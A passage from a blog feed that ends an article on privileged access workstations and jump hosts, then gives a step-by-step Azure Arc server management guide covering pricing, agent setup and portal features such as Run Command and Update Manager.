<li><strong>Security Controls:</strong>  PAWs have strict security controls. Local administrator access and even some productivity tools are restricted. The focus is on providing only what's absolutely needed for those high-risk tasks.</li>
<li><strong>Dedicated Use:</strong> PAWs are dedicated workstations for privileged users. They shouldn't be used for everyday tasks like checking email or browsing the web. Separate workstations should be used for those activities.</li>
</ul>
<p>By isolating privileged accounts and activities, PAWs make it much more difficult for attackers to gain a foothold in your systems, even if they compromise a privileged account.</p>
<p>&nbsp;</p>
<h3 id="_3-jump-host" tabindex="-1">3. Jump Host <a class="header-anchor" href="#_3-jump-host" aria-label="Permalink to &quot;3. Jump Host&quot;">&ZeroWidthSpace;</a></h3>
<p>A <strong>Jump Host</strong> is a special-purpose computer on a network specifically designed and configured to provide access to a private network from an external network, such as the internet.</p>
<p>The idea behind a Jump Host is to create a single point of entry into a network for security purposes. This host is typically highly secured and monitored.</p>
<p>This setup provides several benefits:</p>
<ul>
<li><strong>Security</strong>: By limiting access to your internal network only through the Jump Host, you reduce the surface area for attacks.</li>
<li><strong>Monitoring</strong>: It's easier to monitor and audit traffic when it's all going through a single point.</li>
<li><strong>Management</strong>: User access can be managed more effectively. For example, changes to access policies need only be implemented on the Jump Host.</li>
</ul>
<p>In essence, a Jump Host acts as a bridge between two networks, providing a controlled means of access between them. It's an important concept in network security, particularly in cloud computing environments.</p>
<h2 id="bringing-the-tools-together-into-one-concept" tabindex="-1">Bringing the tools together into one concept <a class="header-anchor" href="#bringing-the-tools-together-into-one-concept" aria-label="Permalink to &quot;Bringing the tools together into one concept&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Firstly why should you use these or related tactics to secure your Infrastructure?</strong>
This is the easy part. Many of the above strategies are part of the one or other Zero Trust framework.
But beyond Zero Trust, securing your most precious digital assets is one of the most important things you need to do as an IT Leader.
With bringing specifically these tools together, there is a way to protect one, two or however many tiers of differend assets you have, without having to invest in a full Zero Trust framework.</p>
<h3 id="but-how-i-here-you-ask" tabindex="-1">But how? I here you ask. <a class="header-anchor" href="#but-how-i-here-you-ask" aria-label="Permalink to &quot;But how? I here you ask.&quot;">&ZeroWidthSpace;</a></h3>
<img src="\security_paw\paw_jumjphost.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ul>
<li>Like seen in the diagram we can use an adapted PAW, as the entry point. This should be a cloud VM or at least a normal VM, but it can of course be a physical machine.
<ul>
<li>Adapted in the sense, that it is reachable from the outside, but it needs to be locked down, so nothing can be done with it, infiltrated or exfiltrated through it.</li>
<li>In addition the access is secured through MFA, conditional access and varoius other security meassures.</li>
</ul>
</li>
<li>This PAW connects then via IPSec to a Jump Server. This Jump Server can only be reached from this PAW. From nowhere else are connections excepted.
<ul>
<li>Not only RDP, but all connections.</li>
</ul>
</li>
<li>This Jump Host can then connect to the assets (Server, Firewalls, etc.) you want to protect.
<ul>
<li>Or the Jump Host can hold the tools to control these assets.</li>
</ul>
</li>
<li>The connection to the assets are in turn via an IPSec tunnel and they will only accept connections from this Jump Host or a Group of Jump Hosts (depending on the volume of connections).
<ul>
<li>In addition to the traffic from the Jump Hosts the assets will accept traffic regarding there specific use (Application Traffic for example).</li>
</ul>
</li>
<li>Connections will be be dropped after a certain amount of inactivity and disconnected sessions will be dropped immediatly.</li>
<li>The PAW will be wiped after use immediately or directly redeployed.</li>
</ul>
<p>With this adaptation and combination of the previously mentioned concepts, you can relativly low cost purpose build secure connections to especially importand assets and even use remote access.
It is not ideal and doesn`t employ all zero trust elements, but it is a good start to make important assets like domain controllers or business relevant databasses much more secure,
protecting them from vertical attack movement and RAM dumping technics. In addition the attack surface is enormously reduced and there is a much lower chance of a breach and easier monitoring.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Azure Arc Server Management | Azure]]></title>
            <link>https://michaelsendpoint.com/azure/AzureArc.html</link>
            <guid>https://michaelsendpoint.com/azure/AzureArc.html</guid>
            <pubDate>Thu, 24 Apr 2025 20:16:28 GMT</pubDate>
            <description><![CDATA[Learn how Azure Arc simplifies hybrid and multi-cloud resource management with powerful tools and unified governance.]]></description>
            <content:encoded><![CDATA[<h1 id="azure-arc-server-management" tabindex="-1">Azure Arc Server Management <a class="header-anchor" href="#azure-arc-server-management" aria-label="Permalink to &quot;Azure Arc Server Management&quot;">&ZeroWidthSpace;</a></h1>
<img src="\azure_arc\arc.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Azure Arc is a cool service from Microsoft that lets you bring Azure's management tools to your on-premises, multi-cloud, and edge setups. It gives you one place to manage all your resources whether they're Windows or Linux servers, Kubernetes clusters, or databases no matter where they're running.</p>
<p>Here’s what you can do with Azure Arc:</p>
<ul>
<li><strong>Manage hybrid environments</strong>: Treat non-Azure resources like they’re in Azure by projecting them into Azure Resource Manager.</li>
<li><strong>Unified management</strong>: Use the same Azure tools you already know to manage everything in your environment.</li>
<li><strong>Kubernetes management</strong>: Connect and manage Kubernetes clusters anywhere, and use GitOps to handle configurations.</li>
<li><strong>Data services</strong>: Run Azure data services like SQL Managed Instance and PostgreSQL on any infrastructure, with all the perks like updates, security, and monitoring.</li>
</ul>
<p>Azure Arc makes it super easy to manage and govern your resources, helping you keep everything consistent and running smoothly across different environments.</p>
<img src="\azure_arc\azure-arc-control-plane.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<h2 id="cost" tabindex="-1">💰 Cost <a class="header-anchor" href="#cost" aria-label="Permalink to &quot;:moneybag: Cost&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="azure-arc-–-core-control-plane" tabindex="-1">Azure Arc – core control plane <a class="header-anchor" href="#azure-arc-–-core-control-plane" aria-label="Permalink to &quot;Azure Arc – core control plane&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:center">Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><strong>Inventory</strong> Tag your resources, organize them into resource groups, subscriptions, and management groups, and query at scale with Azure Resource Graph to unify your environments.</td>
<td style="text-align:center">FREE</td>
</tr>
<tr>
<td style="text-align:left"><strong>Manage</strong> Administrate your servers anywhere using SSH Arc, Run Command, and Custom Script Extension.</td>
<td style="text-align:center">FREE</td>
</tr>
<tr>
<td style="text-align:left"><strong>VM Self-service</strong> Perform lifecycle management such as (create, resize, update and delete) and powercycle operations such as (start, stop, and restart on VMware vCenter and System Center Virtual Machine Manager Virtual Machines).</td>
<td style="text-align:center">FREE</td>
</tr>
</tbody>
</table>
<h3 id="azure-arc-enabled-servers" tabindex="-1">Azure Arc-enabled servers <a class="header-anchor" href="#azure-arc-enabled-servers" aria-label="Permalink to &quot;Azure Arc-enabled servers&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Add-on Azure management services, such as Azure Update Manager, Azure Policy guest configuration, Azure Monitor, Microsoft Defender for Cloud, and Microsoft Sentinel, are charged for Azure Arc-enabled servers when enabled. The total monthly price of Azure Arc-enabled servers depends on the number of Azure management and security services you run on each server and the plan or SKU purchased.</p>
<p>With Microsoft Defender for Cloud Plan 2, Azure Policy guest configuration and Azure Update Manager are included at no additional cost. With Microsoft Defender for Cloud Plan 1, these two additional services are not included and can be purchased separately.</p>
<p>Customers with Windows Server licenses have active Software Assurance or Windows Server licenses which are active subscription licenses may access the following features at no additional cost. Some of these features may incur log ingestion, compute, storage costs which are paid. Learn more here:</p>
<ul>
<li>Azure Update Manager</li>
<li>Change Tracking &amp; Inventory</li>
<li>Azure Machine Configuration</li>
<li>Windows Admin Center in Azure for Arc-enabled servers</li>
<li>Remote Support</li>
<li>Best Practices Assessment</li>
<li>Azure Site Recovery configuration</li>
<li>Advanced networking</li>
</ul>
</div>
<p>These services are billed on a per server basis:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Microsoft Defender for Servers Plan 1</td>
<td style="text-align:left">€5/server/month<br>€0.007/server/hour</td>
</tr>
<tr>
<td style="text-align:left">Microsoft Defender for Servers Plan 2</td>
<td style="text-align:left">€14/server/month<br>€0.019/server/hour</td>
</tr>
<tr>
<td style="text-align:left">Azure Update Manager</td>
<td style="text-align:left">€5/server/month<br>€0.150/server/day</td>
</tr>
<tr>
<td style="text-align:left">Azure Policy Guest Configuration and Change Tracking &amp; Inventory</td>
<td style="text-align:left">€5.557/server/month</td>
</tr>
<tr>
<td style="text-align:left">Hotpatching</td>
<td style="text-align:left">Preview</td>
</tr>
</tbody>
</table>
<p>These services are billed on a per GB ingested basis:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Azure Monitor Analytics Logs</td>
<td style="text-align:left">€2.557/GB</td>
</tr>
<tr>
<td style="text-align:left">Azure Monitor SCOM Managed Instance</td>
<td style="text-align:left">€5.557/month</td>
</tr>
<tr>
<td style="text-align:left">Microsoft Sentinel</td>
<td style="text-align:left">€4.779/GB-ingested</td>
</tr>
</tbody>
</table>
<h3 id="windows-server-pay-as-you-go-enabled-by-azure-arc" tabindex="-1">Windows Server pay-as-you-go enabled by Azure Arc <a class="header-anchor" href="#windows-server-pay-as-you-go-enabled-by-azure-arc" aria-label="Permalink to &quot;Windows Server pay-as-you-go enabled by Azure Arc&quot;">&ZeroWidthSpace;</a></h3>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Monthly Price</th>
<th style="text-align:left">Hourly Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Windows Server Pay-as-you-go enabled by Azure Arc</td>
<td style="text-align:left">€31.099/core/month</td>
<td style="text-align:left">€0.043/core/hour</td>
</tr>
</tbody>
</table>
<h3 id="sql-server-pay-as-you-go-enabled-by-azure-arc" tabindex="-1">SQL Server pay-as-you-go enabled by Azure Arc <a class="header-anchor" href="#sql-server-pay-as-you-go-enabled-by-azure-arc" aria-label="Permalink to &quot;SQL Server pay-as-you-go enabled by Azure Arc&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you have an existing SQL Server license, you can also unlock Azure manageability and security with Azure Arc. See the complete set of features available for customers with existing SQL Server licenses including different SQL Server licenses set billing options.
<a href="https://docs.microsoft.com/en-us/sql/sql-server/azure-arc/manage-license-type?view=sql-server-ver16&amp;tabs=azure" target="_blank" rel="noreferrer">Manage SQL Server license and billing options - Azure Arc-enabled SQL Server | Microsoft Learn</a></p>
</div>
<p>For customers without an active SQL Server license:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Monthly Price</th>
<th style="text-align:left">Hourly Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Standard Edition</td>
<td style="text-align:left">€67.6052</td>
<td style="text-align:left">€0.0927</td>
</tr>
<tr>
<td style="text-align:left">Enterprise Edition</td>
<td style="text-align:left">€253.5192</td>
<td style="text-align:left">€0.3473</td>
</tr>
</tbody>
</table>
<h3 id="extended-security-updates-enabled-by-azure-arc" tabindex="-1">Extended Security Updates enabled by Azure Arc <a class="header-anchor" href="#extended-security-updates-enabled-by-azure-arc" aria-label="Permalink to &quot;Extended Security Updates enabled by Azure Arc&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Microsoft provides <a href="https://cloudblogs.microsoft.com/windowsserver/2023/07/18/new-options-for-windows-server-2012-r2-end-of-support-from-azure/" target="_blank" rel="noreferrer">Extended Security Updates with Azure Arc</a> for Windows Server 2012/R2 and SQL Server 2012/2014</p>
</div>
<p>For Windows Server 2012/R2:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Datacenter Monthly Price</th>
<th style="text-align:left">Standard Monthly Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Windows Server 2012 16 Core</td>
<td style="text-align:left">€404</td>
<td style="text-align:left">€71</td>
</tr>
<tr>
<td style="text-align:left">Windows Server 2012 8 Core</td>
<td style="text-align:left">€202</td>
<td style="text-align:left">€36</td>
</tr>
<tr>
<td style="text-align:left">Windows Server 2012 2 Core</td>
<td style="text-align:left">€51</td>
<td style="text-align:left">€8.77</td>
</tr>
</tbody>
</table>
<p>For SQL Server 2012:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Datacenter Monthly Price</th>
<th style="text-align:left">Standard Monthly Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">SQL Server 2012 2 Core</td>
<td style="text-align:left">€906</td>
<td style="text-align:left">€230</td>
</tr>
</tbody>
</table>
<p>For SQL Server 2014:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Services</th>
<th style="text-align:left">Datacenter Monthly Price</th>
<th style="text-align:left">Standard Monthly Price</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">SQL Server 2014 2 Core</td>
<td style="text-align:left">€1,001</td>
<td style="text-align:left">€257</td>
</tr>
</tbody>
</table>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>For detailed pricing based on your region, visit <a href="https://azure.microsoft.com/en-us/pricing/details/azure-arc/core-control-plane/" target="_blank" rel="noreferrer">Azure Arc pricing</a>.</p>
</div>
<h2 id="how-to-configure-azure-arc" tabindex="-1">🧑‍🔧 How to configure Azure Arc <a class="header-anchor" href="#how-to-configure-azure-arc" aria-label="Permalink to &quot;:mechanic: How to configure Azure Arc&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="installing-agent" tabindex="-1">Installing Agent <a class="header-anchor" href="#installing-agent" aria-label="Permalink to &quot;Installing Agent&quot;">&ZeroWidthSpace;</a></h3>
<p>With <span style="color:crimson">Windows Server 2025</span>, Azure Arc is already available with the OS and ready to deploy.</p>
<ol>
<li>Open the Azure Arc tray icon and click <strong>Launch Azure Arc Setup</strong>.</li>
</ol>
<img src="\azure_arc\arc_1_connect.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="2">
<li>Just click <strong>Next</strong> and <strong>Configure</strong> in the <span style="color:crimson">Azure Arc Agent</span> Setup.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_2_started.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\azure_arc\arc_3_install.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<p>Older Windows Servers or other resources can be added via the <a href="https://portal.azure.com/#view/Microsoft_Azure_ArcCenterUX/ArcCenterMenuBlade/~/getStarted" target="_blank" rel="noreferrer">Azure Admin Portal -&gt; Azure Arc</a>.</p>
<img src="\azure_arc\arc_create_overview.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<p>You can add a server by downloading the installer mentioned earlier or by creating the resource directly in Azure and downloading the corresponding script for setup.</p>
<img src="\azure_arc\arc_add_server.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>Or you can connect a Host environment by creating a resource bridge.</p>
<img src="\azure_arc\arc_host_environments.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h3 id="configuring-agent" tabindex="-1">Configuring Agent <a class="header-anchor" href="#configuring-agent" aria-label="Permalink to &quot;Configuring Agent&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>After the installation the Conmfiguration of the <span style="color:crimson">Azure Arc Agent</span> starts.</li>
</ol>
<img src="\azure_arc\arc_4_configure.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>Select your Azure cloud Environment and sign-in to Azure with your browser on the machine or with <code>https://microsoft.com/devilogon</code> on another machine if you can`t access a browser on your resource.
<ul>
<li>Azure China Cloud</li>
<li>Azure Global</li>
<li>Azure US Goverment Cloud</li>
</ul>
</li>
</ol>
<div class="danger custom-block"><p class="custom-block-title">DANGER</p>
<p>Beware that you need to have to allow authentication flow in your conditional access policies for the devilogon to function.</p>
</div>
<img src="\azure_arc\arc_5_signin3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>Select the recourse details for your Azure Arc resource and click <strong>Next</strong>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>For more details on the <strong>Network Connectivity</strong> options, check out <a href="https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/scenarios/hybrid/arc-enabled-servers/eslz-arc-servers-connectivity" target="_blank" rel="noreferrer">Network topology and connectivity for Azure Arc-enabled servers | Microsoft Learn</a>.</p>
</div>
<img src="\azure_arc\arc_6_details.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="4">
<li>Then the <span style="color:crimson"><strong>Azure Arc Agent</strong></span> connects to Azure and registeres your resource.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_7_connecting.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\azure_arc\arc_7_connecting2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="5">
<li>When the <span style="color:crimson"><strong>Azure Arc Agent</strong></span> runs correctly you can find the Agent Information in the tray icon.</li>
</ol>
<img src="\azure_arc\arc_8_connected.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<h3 id="information-and-configuration-in-the-azure-portal" tabindex="-1">Information and Configuration in the Azure Portal <a class="header-anchor" href="#information-and-configuration-in-the-azure-portal" aria-label="Permalink to &quot;Information and Configuration in the Azure Portal&quot;">&ZeroWidthSpace;</a></h3>
<h4 id="azure-arc-portal" tabindex="-1">Azure Arc Portal <a class="header-anchor" href="#azure-arc-portal" aria-label="Permalink to &quot;Azure Arc Portal&quot;">&ZeroWidthSpace;</a></h4>
<p>You can find all your <span style="color:crimson"><strong>Azure Arc resources</strong></span> under <a href="https://portal.azure.com/#view/Microsoft_Azure_ArcCenterUX/ArcCenterMenuBlade/~/allresources" target="_blank" rel="noreferrer">Azure Admin Portal -&gt; Azure Arc</a>.</p>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_overview2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/></th>
<th><img src="\azure_arc\arc_overview3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/></th>
</tr>
</thead>
</table>
<ul>
<li>Once your resources are configured, you can view detailed information and an overview in the <span style="color:crimson">Azure Arc Overview</span> section.</li>
<li>In the <span style="color:crimson">Snapshots</span> tab, you can access an overview of your Azure Arc environment.
<ul>
<li>Resource summary</li>
<li>Host environment</li>
<li>Recently viewed in Azure Arc</li>
<li>Azure Monitor agent</li>
<li>Update Manager</li>
<li>Microsoft Defender for Servers</li>
<li>Policy compliance</li>
<li>Windows Admin Center</li>
</ul>
</li>
</ul>
<img src="\azure_arc\arc_snapshots.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ul>
<li>In the <span style="color:crimson">Monitoring</span> tab, you can check out the latest connection and security details for your Azure Arc environment.
<ul>
<li>Connectivity</li>
<li>Secure score</li>
<li>Alerts</li>
</ul>
</li>
</ul>
<img src="\azure_arc\arc_monitoring.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ul>
<li>In the <span style="color:crimson">Licensing</span> section of Azure Arc Portal, you can easily check out an overview of your Windows Server and SQL Server Pay-as-you-go licenses, along with any Azure benefits you're using.</li>
</ul>
<img src="\azure_arc\arc_licensing.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<h4 id="azure-arc-mashine" tabindex="-1">Azure Arc Mashine <a class="header-anchor" href="#azure-arc-mashine" aria-label="Permalink to &quot;Azure Arc Mashine&quot;">&ZeroWidthSpace;</a></h4>
<p>If you drill down into a specific Azure Arc resource you get a great overview about the current status and configuration.</p>
<p>Seen in the following <span style="color:crimson">Windows Server example</span>.</p>
<img src="\azure_arc\arc_machine_essentials.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p><span style="color:crimson">Notable configurations include:</span></p>
<ul>
<li><strong>RBAC Controls</strong>: Configure Role-Based Access Control to manage permissions for your resource.</li>
</ul>
<img src="\azure_arc\arc_machine_rbac.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ul>
<li><strong>Connect via SSH in the Browser</strong>: Securely connect to your servers directly from the Azure portal using browser-based SSH.</li>
</ul>
<img src="\azure_arc\arc_machine_ssh.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ul>
<li><strong>Policies</strong>: Enforce compliance and governance using Azure Policy for consistent configurations across resources.</li>
</ul>
<img src="\azure_arc\arc_machine_policies.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ul>
<li><strong>Machine Configuration</strong>: Automate configuration management and ensure compliance with desired state configurations.</li>
</ul>
<img src="\azure_arc\arc_machine_config.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ul>
<li>
<p><strong>Run Commands via PowerShell</strong>: Execute PowerShell commands remotely on your Azure Arc-enabled servers for administrative tasks.</p>
<p>Run Command uses the Connected Machine agent to let you remotely and securely run a script inside this Azure Arc-enabled servers.<br>
This can be useful for loads of scenarios across troubleshooting, recovery, diagnostics, and maintenance.<br>
You can run commands through Azure CLI or PowerShell.</p>
<table>
<thead>
<tr>
<th style="text-align:left">Operation</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><a href="https://aka.ms/ArcRunCommandCreateDoc" target="_blank" rel="noreferrer">Create Or Update</a></td>
<td style="text-align:left">The operation will create a new Run command to update an existing Run Command</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://aka.ms/ArcRunCommandDeleteDoc" target="_blank" rel="noreferrer">Delete</a></td>
<td style="text-align:left">The operation will delete or stop an existing Run command</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://aka.ms/ArcRunCommandGetDoc" target="_blank" rel="noreferrer">Get</a></td>
<td style="text-align:left">The operation will get details for an existing Run Command</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://aka.ms/ArcRunCommandListDoc" target="_blank" rel="noreferrer">List</a></td>
<td style="text-align:left">The operation will get all the Run Commands for an Arc-enabled server</td>
</tr>
<tr>
<td style="text-align:left"><a href="https://aka.ms/ArcRunCommandUpdateDoc" target="_blank" rel="noreferrer">Update</a></td>
<td style="text-align:left">The operation will update an existing Run Command</td>
</tr>
</tbody>
</table>
</li>
<li>
<p><strong>Windows Updates</strong>: Manage and deploy Windows updates across your servers using <strong>One-time update</strong>, <strong>Periodic assessment</strong> or the <strong>Azure Update Manager</strong>.</p>
<img src="\azure_arc\arc_machine_update.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<ul>
<li>
<p>One-time update</p>
<ol>
<li>Pick the machines where you want to install updates.</li>
<li>Choose the updates you want to apply.</li>
</ol>
  <img src="\azure_arc\arc_machine_update_onetime1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="3">
<li>Decide if a reboot is okay or not.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\azure_arc\arc_machine_update_onetime2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><p>Reboot options:<br>- Reboot if required<br>- Never reboot<br>- Always reboot</p> <p>Maintenance window (in minutes):<br>- 60 to 235</p></th>
</tr>
</thead>
</table>
<ol start="4">
<li>Finally, hit <strong>Install</strong> and you're good to go!</li>
</ol>
</li>
<li>
<p>Azure Update Manager</p>
<ol>
<li>When you select the <strong>Azure Update Manager</strong> you get on overview about the current update status of your Azure Arc environment.</li>
<li>In addtion you can configure update policies, create <strong>One-time updates</strong> or check the update history.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can learn more on <a href="https://learn.microsoft.com/en-us/azure/update-manager/overview" target="_blank" rel="noreferrer">Microsoft Learn</a> for a detailed overview of Azure Update Manager.</p>
</div>
</li>
</ul>
<img src="\azure_arc\arc_machine_update_manager.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ul>
<li>
<p>Periodic assessment</p>
<p>If you turn on <strong>Periodic assessment</strong> it will automatically check for updates every 24 hours.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can check out more details at <a href="https://learn.microsoft.com/en-us/azure/update-manager/assessment-options#periodic-assessment" target="_blank" rel="noreferrer">Assessment options in Update Manager | Microsoft Learn</a>.</p>
</div>
<ol>
<li>You can enable the feature if you click <strong>Enable now</strong> in the overview.</li>
</ol>
<img src="\azure_arc\arc_machine_update_periodic_enable.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<ol start="2">
<li>Now you can enable the <strong>Periodic assessment</strong> for the servers you want and then select <strong>Save</strong>.</li>
</ol>
<img src="\azure_arc\arc_machine_update_periodic.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
</li>
</ul>
<p>When the Updates are installed you can see it in the overview.</p>
<img src="\azure_arc\arc_machine_update2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
</li>
<li>
<p><strong>Tracking with Log Analytics</strong>: Monitor changes, inventory, and performance metrics for your Azure Arc-enabled resources.</p>
<ul>
<li>
<p>Inventory</p>
<p>You can maintain a detailed inventory of your resources here.<br>
To enable the <strong>Inventory</strong> you need to have a <strong>Log Analytics Workspace</strong>.</p>
<img src="\azure_arc\arc_machine_tracking_inventory.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<img src="\azure_arc\arc_machine_tracking_inventory_onboard.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="230" loading="lazy"/>
<p>After the activation you can see an <strong>inventory</strong> of the <strong>Software</strong>, <strong>Files</strong>, <strong>Registry</strong> and <strong>Services</strong>.</p>
<img src="\azure_arc\arc_machine_tracking_inventory_software.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can check out more details at <a href="https://learn.microsoft.com/en-gb/azure/automation/change-tracking/overview-monitoring-agent?tabs=win-az-vm" target="_blank" rel="noreferrer">Overview of change tracking and inventory using Azure Monitoring Agent | Microsoft Learn</a>.</p>
</div>
</li>
<li>
<p>Change Tracking</p>
<p>Monitor and track changes to your infrastructure to ensure consistency and compliance across your environment.<br></p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>This Tracking uses the same <strong>Log Analytics Workspace</strong> the Inventory blade uses.</p>
</div>
<img src="\azure_arc\arc_machine_tracking_change.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
</li>
<li>
<p>Insights</p>
<p>Gain deeper visibility into the performance and health of your resources.</p>
<p>To get <strong>Insights</strong> up and running, just follow these steps:</p>
<ol>
<li>Hit the <strong>Enable</strong> button on the Insights page.</li>
</ol>
  <img src="\azure_arc\arc_machine_tracking_insights_enable.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="2">
<li>Create a new <strong>Data collection rule</strong>.</li>
